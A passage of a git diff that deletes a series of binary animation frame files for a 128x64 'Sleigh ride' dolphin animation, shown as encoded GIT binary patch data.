zp997S6Br!2RjAc+wR)>nB7@)umI3G@0}_naO~HszV2~RG13{_}j;q!GjcH@i8Ws`* z5E=<}E4}!qfGS(ArHVnb^+qwMkND*p~n;B1h7G@4bq|If#U#!1Ih&) z{CC5}s>R6x;~1O+$N3WjjbG~nfK%vzaj;Gj0{~l$1NpxYjUI#t7(9VsAoI8YhoOVO zlf`y0U}(V^1c4pV=tg6IAPf_L1`@#_#WXR=fdGCGIsFVCTa8w%np^=u^nb9+;5@7s z3aHpq0xB6a8ew<`mIHSxkqt^1ff&aMd=DrES}PF{3}DVS4+IWAC?Wvzq5{FN0tW%X VFD-(5h)0khzQM6ukceRPiVzU=EPwz2 diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_19.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_19.bm deleted file mode 100644 index f285cacab961e8e33c1bdf4d7ce66957c7c59927..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 781 zcmV+o1M>U<00{&5|G*FL0;d29oA7*bL-F?kmH+<$48T0V0~HTHd>*h5;6e6aRI2}D zzukyPupkBz11KDR0!B;( z4n>9hbHN1KpHLkA^)TQxcx#YgT^t4k$?0*_#fj(6#RqGfI2_^pZ^i~=HNs0 zfS*T2|KH!#Vozu>0A_Lg1%8RdhrkKu7!m-}INk9u{2<`;-`oWw-JD1uG3a~=N|k(o zfM@V|1PdVnfP>Rk4<7{nVPJw-FadG+4~nWP9R>e^KZQUp5Qz{xwfd?A27x|+R3@+q z^b!QcDy>xfI0(lB5$fPXU~*7+@AX=tu)D?q2ddb4u{kdQJXKJ6LI7imh)gmvOdxo* zPVonw(xFwv+A)=I`A{H$@kI=N5ul`MBAT%IP$2;Ef%qU5imbySG!GGcVHn6H9Kt*M zP|$v%;xCL(0fdJvhJb+>1&BU(2_^yw5cnAeG!GvD{P7cjc*rFNLB@l|f&CAZA_Js^ zPvpiyqfsCnA6NW7E%EJqJ`xak$mmcE6;``ns@M}^DIEkK0U5DEFxszH=)N%S5Ine- z_&r7u3?7XYelr|kJY*B}h|*$_L;6r=5D<8XM+ZcbNh+0GD13L^#BhVgL5!hLsT$2z zx&BZo_&nwm92X&oI5+u2JAm?ta4--YPN!At50t`b1Be6000bO0Uh6;)mjkH`28`fL zAVJmdi{t^FlNClxkr~rNt5MY3Y0Y(p^BtQs2EWmvx0QCSB LfIgf6d|(UYVyZr{ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_2.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_2.bm deleted file mode 100644 index 725bf4d70709364efa6acd8effec922ed9ce8d0a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 781 zcmV+o1M>U<00{%+#N@mW{QvR)06)VcB*Fv7a1V|yCee)l$Nm7;zyI(QjYL!44}bvG zW*G^m{vY534}2c90+9WG@N$rV2YwGps62dM`Zzqm1NQ-xU>+jDvET=-{r~e|Z~)-c zVnBfaA{=DYNCyZ1U66<3CrE%`zxeX`02(v+hvALlPf!8H;FAbpy+8{Qfp8-K=sA2* z%ug5$!dd)*o6&e60_;Fxl>m6a1<&8GKww|_#0DY$2tEP>;oxFo5)gbqFd?zy!YnjE zgTN?UjQs}*kc28n-VbjhjBxM>&%{2^87IpB!>Pa^%NK)6KUn&_jsZmC1D5|7lz!}R zhztSp4R-;wQ)rZnC09Ooi02@E( z45kuE#sdLAv|u$s@zr{aB~g>z8AXtQmlC^Qs_3PG;e*~R5N%eAL?A8JtBEjxP-8O; z1ZJ!tN-b9rA^c2aCLyzHF-Ow?4adcYhsa?N3_|R{1BI&4s7Udipax;A4yLY6 zVe!CVXmAPPz=#3@9)S!%g9e}cCU8pt9B=`_ZwP!tL*3`_Am(8V6au&(I|YgXgE5FO zU>kw)2grajA7Nxj1z=&BV4&0QfV4;lyFZx#i^2>d0ab(P46sMf#y~*%%rFq}d4LMQ LA4X7s9RgaQHuy(s diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_20.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_20.bm deleted file mode 100644 index 8f8ada578d40fb4ee2a5b022e983b5bd5f1466ea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 708 zcmV;#0z3Ty0KfwHHaPUX7{r}Nukq!_c015d2$f!_+eFcUyVh7j&VD%VB_#bcz zOfmuxybTj5a71%|@YF9906xpX02E?_g1|t3g6QwqFc=#I0PG+L4h{k!9+LS%un>qD zKxpPSfJPt~U&lZH0~rsz9;4Bs-?AV0kHkLY0g-?7H}|AJh7F?s>Fe}PA`OA#7zd93 zekKrlf&@}CDEsr?@%SAY*0^d3PffUMVF zs(>d3e=x9XYV{weJnFSr95X?G;BV~ENCyDAdaYD4VL+ciIu<&hWJAeS2Mz);K*U%f zhynBmjD9c-WJ3W5{MExF)jkM(f#Z^dEXo-mkTHZjLGscA$^&o>5CH*WsDwa}gTU2b zH5-8X@*xm80W?EJbq}vnX$OdWAo9INtCgz{rfR7UfPdrlVA+2|=QzPt1H%A^>jUGe z^%zP4M8Rbw5{Miaz?Itgd~lFl#QseLF%FAFAT7{*VGwAK#zO>miS;O<@rXboP#p&x ztT^N8kIKLi5O~P}<5&-#6h1fz42lCFkH8>$0O{+GaM0SkeHL;@-T>cHv&@*oT_8Zdz{ zhmbyV3xp#92LlaX>jNSXJh&bRJ^Ks>AK`?xVe^1!|8bwd6m9?^=s(B+RLEt6-~}82 za9hKw8HoU<7)$6FpwJ57d}EUW0dOGm;CXHb#j3Dy0VRVk5CCilBC5B9VqU?ikOy{u qI5aR4KL`js;1yu`KqCfn4xmg(0v{^?Ab<#78vuO41^`IH1oc4Hnj!K4 diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_21.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_21.bm deleted file mode 100644 index 3ad3bb076bec7b0795d035e0e2d2a0dbb9ad4f7b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 717 zcmV;;0y6yp0LcRQ|G*o-0;c>Q98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p$A7^W`+&+3 z;D?A{06)<9^+D(e5CVQb@GJy8Ujg*0!{8$dAB-b80Pq9oK0g=$!oTu476Sk@JC5d$bz0tX_({yE_JfDi_Ye#n35<~M*wF%mEShyMd9 z54@(30s!d$`hWaK;vQT41o}EB(1nDg*Z462W^w!leu=~fto|@S8fO_eFdu+DpaPNZ z&Lj{R^VO!{@qka@@(30}0v}k|e5dmZ1QNl3{*#g_4;=;nfj@;nE)6u-#-I?&1o{C` zp1>>LPi_ECL4tzB9xx~bei0y$IfOhqpisauaEKp*0ay(P0U#jp#K9ou5giT# zQMeD3L|#}(a>!@_vbvDSmNSf`5+U#|jH^+q4T37@_i}CnKLE>FX?|vx&kW|iNpo53UMWPTE=$4yiDGq?{Z zhX6j5IDkB66G#{oKq5dptb`t14x}&&Gl&5I_tA+!z@c|IMgxxkAQx7LmIs_O*$2Ns zAY=mHYO!)ac}zYZkNgH0Kp(0gY4kvOa5NAIHW&;)&G>|9^dNaaG;lb_;0iYY5cDv3 z5P8!fmJfgwa2mZ<>69P?m`pIA&@n-v703uZI2;H(_!uw^#;aBiKmg$2@Cd*ZYzQHO z1J~GT8vy{fa;XqKegkp94vMW6h=>UiAOs*EDj+Bl=#dzJQ`|y4xB&RTLFp7AYvU=z diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_22.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_22.bm deleted file mode 100644 index b8201b0a15a2b99c61d0ea53d4fa148a1ceb525b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 829 zcmV-D1H$|P067Er|G*1>{{h#41x@%qIHCN%|KI>p_khZO{0pp9KGXi-9bf@=4~Yyw z2UY(6KvyaE|OpFlbmI_8Q9yoIEV&Y2@Yk9egy!OPw849 z_~9TKm>_sy5cp(*v9*=i1LOFBWT27>L=Fuwplm-868Z2mFp2z{2x1-$LhAu9ufyRX zf)j@Wq2)je<$%GD1ok{|7~!a0SOI*n5Kfppq<}HZVJ%P(fc&6&z*xv5;9-zrM`K{G zfW`sf9gKnzz=lvGGPnl|bRQ6S!@=VOoO~zq7_5qkMGuz(eh(kToHjoQ)Q1>9Cjj@s z;=~vn3c-ztM6jXq=0zZJ2n0eI1kib+5)F8Kpi_8gJYf?Er2_j3;9$e$4C-7V7zjTA z#5SlV1J*w|r-BcD0}KxlHGp6!1@r27AHpUqL}&;)u=zkCdN{;TOi>7E5Nbj4434tF zbQ2T;j_VWohDTw5%&f$KG9mcY1LwfdKp@y*F+`w{4M=?88aNzd_yrq+NMIGP`M@cV z%Lm{JI0{S(A+FUx$OkaOUqHo{fW#`*SmeNfTnIe)9#M=0Ls_b@8N>iMI5^ns5DJZA ztAK!vOV~9s0Kjou0{Fq9fRXqghyYM%B}Be4i-0WyqzV`Y$UZgzK?hWTRm1s$1OS22 H42b+daxhmr diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_23.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_23.bm deleted file mode 100644 index 00a1218317f09a65413802979757f771ee59774f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 763 zcmV~@R{r}$Ko(7+*{0DDEG5DAjFU=)X- zfD->`h(IZvYXANd@CUB{5s`p)ClUw@dLCd}ydoXqpTXo1ErbLK{A@|F;B)d<&y0)M~j} zu=!vb;{=dOAb0@T|3l`t7)1U}1i)&;lK2LJ>z3H^gniawb9pc4oPJVYZ~52h48T*PpL#zCwO zrno*(Dfm3@0rbI#${E}TltX|YPgwlskT`%mU=PE(v4p-|NMJN)5CQ@3i{}7^+~F7w zJOF@QSRFtQ98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a zPq5h4dcXh3Api;Z|G=;j{}6vFu>K&%;Sh*mKLg_l{{!wvB7{ItMvia&TC0_S9GQ3^ z0?cAO5CMgE><9tC3=ja=2p)>T07D1@AQf(`Ks;1&o4_L&h(rvaFfkDO%4q-~4j1vy z|HOVKHh>dGi+;!fgy!IZzsUdk8vPMy)A$5KVWa=)$iiY^c*Y@`FaG`k7lVV=Zw9hJ zrcv@3@-PPljlytH8fO~60+>)gq~wakFfb0p;z0(0P6!FFjYu#)3H%Y!KQI(2BUBv zD2xhc=7d0?5b*ikNM#6s<#SMo8T4h6p$PJ|daG3;0V)4MAm$Ojj}QA*n(3euE~XM4 z0H5$RLGjgkzwxas14;jaL_P@7E~R(B6o5)M@JR%s2Y}URv_b;i8pomkgiqwqK>F2a zr=jqF{vQblJat&3>1w4w@xXt;W1xfJ7i0h^s4QR{z?N%;G4=IE&8Y*!h57q|&r_llBz_>y%27>-?#3M(c1IhuTgWtaZQMdqyp@YDK z&zbzcyhU(2y;kZ402zq@rWi};7@*J!;%H-&0s(L!^Wb@IHCnJB*f;=^!NJDIU_lHJ zYA_Lrdj_To9o(u!H7H;Vegkm;9a<|95DZ|>LDUJ3j;EL zI6z{t+KlQSC{IufRUA+~q;e=m5DZk<3Vo{8SZL(Q=DZLAW-$J-_$}ABq6mC<`5f16S(6A&C(Yh&`jT{6qo=z`ujX@$UzvtBqB_hlYOyh?NKc zdp31niCng^c0RRM`ZEE6yE z+5v$51J0{efWjc04m1WfRvw9T^;)PHJb&|;1T-Es0P!5;Y215BL517Rc@j4jA9~S^7vpPaV=LXRv#}0VmU{MKqL?eG?J}V{)fr| zue?zs5C90$ESk+%sKQVRPexBTfI%P`4kb`HHQM`pavOO)(g6bhNH}^h;QF^g@t^0M|6^MnA$$pf%J6XUAi z7s$Xj5E#KAIfxBntJQ(j1LXkIKwub11Rwpc4;Xx)6@q}lKk&!}PwN9AkUXpf!6ys~ z0qoz0MFt@9z*s?~0ULlMdJpmd78(K#5*XkEg5D7Ms)ii__(VX$MjGIKY#&YpK0XE= z!1#mdfXx5l@!+vs7$grdNa3~=@Ud>s>Oe2Y0}fCa1BAe$i4jQr38p|G`OF0+eG?^s NKAZqaPl4!xEl^DOKEVJ0 diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_26.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_26.bm deleted file mode 100644 index 0ff492fe16e8358624ddec2a55f75925ad7a73df..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 731 zcmV<10wnzb0M`Pbd_Uj}z<2 zkGKq^6EE=ggJVFkf4?Av04L-BgwWs6C?9ww0{_H7+#-P--~;YafQa-#_YuHAFbL}Z z!J-sV`>zB5QHX>DK8shdNGjji`~Ls(C?q{aUkDXm2S)yX=;0@>KsOL5a+qLXA@_sQ z9{}J${$EqD{6pVjDy~yM zc&MPn`gK?|5`h4f^Dp_UU~?T% ze05%<32FmFCX^J$uv|*%m}3wegrbPN7QpDVLIT}tq!2Cy!w54F`qgN)TL8Rb7$^w* zu}9MY4*~#g926KRKULw?aJ5u$-X=IWz`$e4)YodD0kOH^hJyftSOe#Ss=y}@46nZd z1AsvA0rT~T$ASNp|DX^Y0);NL0Qi6h<(&tO1Az}-miPo9^74J)5GV)oKUS*sV08fb z`ZMIw;6UM;!10IAq5ptJG!V!o!|GKOAcM=m4;uzzAh#X(bVyQ98m6G|L_1Qd%`sp1V4NXun*ut$ZJ*p|3z{40hA-a zPq5h4dcXh3Api;Z|G=;p@eK#ctAFAQZV?EMD3k!f@rd+6_al)&FbL}Z)vB~n`>zB5 zS&Tq^RS576&vyFTnGlRS=DT;7CE^0)TKLh(_PY0m1+*1XdysTD(9Wu}E>jb#Q=S z$ARTdtp7*JRR@#?pbs2G5da_p*XoO7fPiYCR0{1+>JK`tRMt=mrMNOEeH*sF=tAF$%^G3Q8KK0tOWxR;)fz z9Y#77pdDMxOeOsfl$xIu7c)%e4hzw!?UpfYWI3V(a7zPRcuGMh0 zSp|Xvz<`6ssxTfL2SuvaYNQ+h=@{49-8O1fl^E^-KTII)Hp&0r5kO9)aMG z^J4q+`2)qgTBz0nBM`~rVeksLe4>yFv;*q^jmIWQ98m6G|L_m|58>|!)K-50zycG#4_E{+ra$5xRbXK8 z{0iId11LlU9zOx>e}DZ{8CVK~1@HsVQZyiWP#_=33LQh^RR@*;f+j`)454Un8-NT! z?KKCv(SPwUdBCIq_=^MI_`DziViY0(7$7|ss5uxoEPRr6Brk?=3mC*;9}p-90A5NF z2fFx)Y+h%XNZue_!tMmsvkT6v|q(AYZil5suYy~ z1dnlufrLIVP{|_9dLRdV9_aO|#X$1uQAr_m4W4=5Y#sMH{QBu1bG92NwICH4b|pr`dH$AL0{@_!J#hGWkMp%g*t2N{B-!A1l@I{+vyfC(E3%2ogX diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_29.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_29.bm deleted file mode 100644 index 6683473d350856f101b589d304cc3c5e5891dfff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 334 zcmV-U0kQr807?P)|Kacm6a(S^02B-!d;obsK%@X5`f*|K;CVm+#eWzq4j>OX_wXLs zP#FWt8SwAV!RbH}tRSKw^_qj$A>jYV!3h`##6%F0P!h!7^fJDIw4F|0O zI59%PgVz8FaQl>q5RoDK0FcmN_)MrhfW$%|AqEB3A!!m1!Vf%vLCnw(7-Zn`Gk|=^ zAY1?-fQTOu8Gsa^AlBet$l@6|Fg>Rj2Oz-~k{2kn0t9WG0Ni5$^i?YnNoJ~80ce9F z4>eK|l7O{PdX|VDs0a->K1oau@PC8+0pJghgSUZT2ke1Dzz1t8jwkGqdl&)k90*7h zyb$nv!yph~DMz2g08v=JO927k1KgI1f+?}BWCC+xY!Dym#s|4nf&LH0sDu0sVE+gB g;sO2-wb_IGA8WG*+AaVM7zXqlAD$2RyMP`55dRg2-2eap diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_3.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_3.bm deleted file mode 100644 index a88887054366bd60e50e271a7db3a3a9d7f28c77..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 725 zcmV;`0xJCh0MP>Y|G*o-0;c>Q98m6G|L_1Qd%`sp1V4NXun*ut$ZOUA|3z{40hFW2 zPq5g$eOK z%Y*ob>Y?xhg66^E;21^1=}@YFNy(Lfd>}CR_5vLUfFJ|_TKv=l{{g^F;1D{cMFt=O zs>5I(*dKz{G#D9NLB+q-LZBZdX!qbZ3a9`>#vd3T5&;0(L9xMczO&|+21z*JF2`Rgm1;FytzN3tNS{eAg7JXXgbDqs&2-QSCIbNnfO!WZA01b# z{~FSR#sNW$z%Yf?uJ_`YdMDyzA%Hm!77qj%8aN09z<`_R#G?VBjDti1EioV$R)?09Ks451XwV2^ zKt1-W7QGtAVut{p1H^z|SR4YML@*74fA9nd0Kc2@2+`<6vB2^F@c0B^9yb6G^e}i3 zAin<=H diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_30.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_30.bm deleted file mode 100644 index 0a7d98defb737b2aa4ea048a848e7dd5a205af62..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 219 zcmZQ%xX!?!{)bWF%m4g?=k3{-e~|h9L&Dac>1~7i13CWxHL-S#lLXGm@p~NL*~f6{ z_x}eEzBDtOZm@GIN>I?SU|HJmTwzKFV?aZ~*A_`pnS?1#i~$Q0zBV!jGfa{HWa-tx zFC6iQ@nu7mK|}?UB7-P{+~FklKL&h74AqjILLE=p7i2QNvnu&C=ZgG^CE=QVjQ{o} u%P{|)bAVNMhW){Bv(<~6|1k7!Xa8Y;@E^km_68fq2mA~b%m?HMayS7?PFNoR diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_31.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_31.bm deleted file mode 100644 index 77c296011de3abcd44e867f3cbd378e4c91223a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 176 zcmZQ%Si`^||BH|B91EKO|H+2k3mg75Hg9i`d-#32dV{5hK~{2ub3^m<1I#*%t5KOo9TelU?MOUGxuNn7D}lX_>x<{OdOg3ib!2?j5La{v-c} zh5d*9!G8=l9DpSM2awS7v?lrQj?CE_Zrw@ Z80;6YerKp)J|M^NfxW?o@c}=S0|50YN9h0n diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_32.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_32.bm deleted file mode 100644 index 074e8c88a7b5d8bbd1887c38699ddcadac14b64e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 173 zcmZQ%SjoUp!F)iD;RAbv4dVlToE(lO=0EZm6zZFQF>$YAu;0L-B9_o`a=HTh6C*|m z_9urJ#n_)S{}*L{w@QTn3~QJa|IL8<5F7a!+`CRV qerM>jF>>T@;s1Qlpo#gDqC+F|C&`9}=1=Sm?in1;zxXlTqW}PdKt8Ad diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_33.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_33.bm deleted file mode 100644 index 9da74cf2d162bb012eb46d38465b51ebd4ce35d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 356 zcmV-q0h|5-0AK+Ccmu#50PqKZJOSVj0C)l*fd2>d2p{182lN~jGyoZ30rh|ZoIF=h z5D@SI{qT>L_xKOEUxl!raX;ij06r7{2fzS^1`mj(Rx1(z{@ryd z0gw1!RZ686sr@I=eE$IYs#R*WAE-XGlBEdn1N&9#gX>j_g*^}e^qkQiY`u5b$iKuR?Y5e@_xK_UPw6a+M5^o9~p59okDqyYO#m>qx~ Ca+%Hm diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_34.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_34.bm deleted file mode 100644 index a52e76f571956be4f51d8935ba47f1b4e05fccff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 699 zcmV;s0z~}*0Jj1FC*%MBzyGh``TlRg`W_H@f5D9~fN%ljKmLE`Vqk2D zJo6Ex83WhizC5Ie1|$X#o&Ki8G6KS9(>mYPLND5FbCNeyYEsG87yhgrS7oE|UzF6W|XU_&nhl2>t>cD2U@)!vntq(g8St zK;n>`uZSMdNCm+rFt|2L%xxRsJm63cga+XafM^fn0IUPe20I8gIt+#%XZ{gr2NwVY zJqT@8a9vCMGN2DBfyA)-sE8D06Z%z%9#+JOVEVX-M1rxkmDv}`0Q_(*R7gbwVfcub z%pOpF1lETP;M6X#68Yc?CI0uwAy^#`Dga+Fc+5W#7}SFkf}wR_1@k|SA`bwvWHA^_ zC83J_wH3+yX^<{)}NV0;Ke z5MYB*2fQ)?1H?^LVha!e!U3YQA^_qeO_B$cU>Yqmm_#9n;D$Ah>#2!1#j53ryl0vU`&zL076z)U0qfTN5aF@x~~ h2nH}^@twxO9|IWx$D{xmmH_-91+WOn06ZXT4Aco>9w`6- diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_35.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_35.bm deleted file mode 100644 index d035e592e87741cdf4e155ebc733f17cd5da0f46..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 812 zcmV+{1JnEg04M|G#N@mW{QvR)044k$KMahM2oD{=J~+6WMl=5(_ygDe4;%#}Q55%s z;sXGx%rX;C{6D}79{4=qa0&p3e!uuRNI(O>0hAsAH3yH2|3?Ry0Dj_ufJOo0EE^sG ze$m(mG-M&csKmdZ^}IkN)JO*h|6P!W+xr2D(jXWw{ye@w1%bwY5d1M1N$LP7{9Xw# zh8xr#u_zY;FaCp<#TpfJjSJYWL%@7*9UFZ|*I5dQ=p2?6l% zF);}UJ|P$o*zw^O8X!U86fQ=7gM`RJKOg^iJt7n@C;n@PfJS~H_J~P7SNge4{-G1OhP;2d`d1pz=X40P%=G4hyT0 za3PQ>yb1wQs((kxRgh!8To{1-WRL^^fD2!0kYHQ`n2a|#aJYn{5c-9~s z0_p0dSquaR0YHghE&-7bB-bGTf!Ht*%mI9G9)R%&#}NR4&M*)RC4e+NU;SJ@QHTe= zXMlm?C{hUoi~b%E_{9Z76yQhd7(mc~5^EHoNFfso1cMQ(z-l)E^NAY95ePAkKsHxU z`NBcs{16D(C0dPFD^?#UKsZbz0FGb>hy4$bJh&JM{i6Y@500zUVHs4w9x?_{eofIMV83=jSSKt1pXaGnw1@MrKI1OR|tSRF#E2-88?&kK{u4MQfEYLc z;O>MX4;aUHpTL8)gdi!At_RM+Vt`=GVx}#?__ai#APk4tSrP$Q7-m{1H2dH!5&`bd qQ98m6G|L_1Qd%`sp1V4NXun*ut$ZOUA|3z{40hFW2 zPq5g z0m6sV^8uK^HG$M44gwMn7z_i00JsOykTwgjJm4@k5r7BRs)#299&pG30PeH^`1l~e z(ZE0^1O(qXi$fU(hy+?M(!7?2D+NAav?C~yhjJV*ugfsqOUV6adA z0D%A(^L`y2SbT689zXsc0E`31-~t|l{GbqMEW%*~umQ&a92W40#56J92Lca(L5N^r z6~Ot}EKm#_92igy!1#mYKp79Ppd=_%z#JY1_=PF!Sse$Bj@8F UAbjQ+1Mq+rz#m3XfE@x_pd33S&;S4c diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_4.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_4.bm deleted file mode 100644 index 125ba431d4bfb39d873c5a164930c43d0a4711a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 791 zcmV+y1L*t#022fF|G*FL0;d29oA7*bL-F?kmH+<$48T0V0~HTHd>*h5;6e6aRI2}f zp!WHUQW4+}xI91t8yc@y|M>(b|H1|@$NmL?hk^_MKw}S;Ru9Gp$o!!YPw+ieDjygu z1mvLgk;t%+4}v)F_yBrUsD1{y#6kJL^GJmVOMhs)3Zf&MgcMY)5@CcLw zS2=*ohQk2|rmc7|3FZ%hRigC*B9$xsSAYi{h4Nu6fKVY4AbD%`Ou;~ij8ua$fUd9gVwm_WiG8U+C+Ka5l=VUdzy1H>N`NZ%kI z;K5>T7|OVOzymP>4z3lTq-r9Xu=+qGAR+q(hGCGJ2Z%m#5D>#R7N8*gL&P62c|fca zP$1ZY>oADHFc2IBXb?UD`TQgNh>RM53>;_(Xdlq|L_83PTslGEhta5z4iBsT9~I!t z;Zf88&*YRS1`4ZPuhno6dLVe9G3dpL5r)-zw?*-cVj+|Ygc=!OsKOzG(W0-*VHCep zAqF9&#Uh9E;BBZLpA8NX0)SDZl1iml3LhQ>1`s10dyjqqZ}U}T1ZM#d!&UCI1^GrIfboP}JQw(c16RIp zoq2mpAW=N5wlL;^4h8~~6taQP4hFbxslz!t)P z9awzq9sp>=&;>w(bQmHJEC&W3{Dvq80fE#vhgAaz6&vp}_yffxFpA)OW0L?t<|7;r z06ddIJ{?tqfPpwi?2dN;@YQe-5r~dPAABR8g#K`7VC0L$M=<#fM&Jk@#2h+A5zGh9 Vzz8n^l-}cD511gp2^bLxe1QM%L)HKQ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_5.bm b/assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_5.bm deleted file mode 100644 index c7917673584161226988c904c1991d7f613ba2f0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 706 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 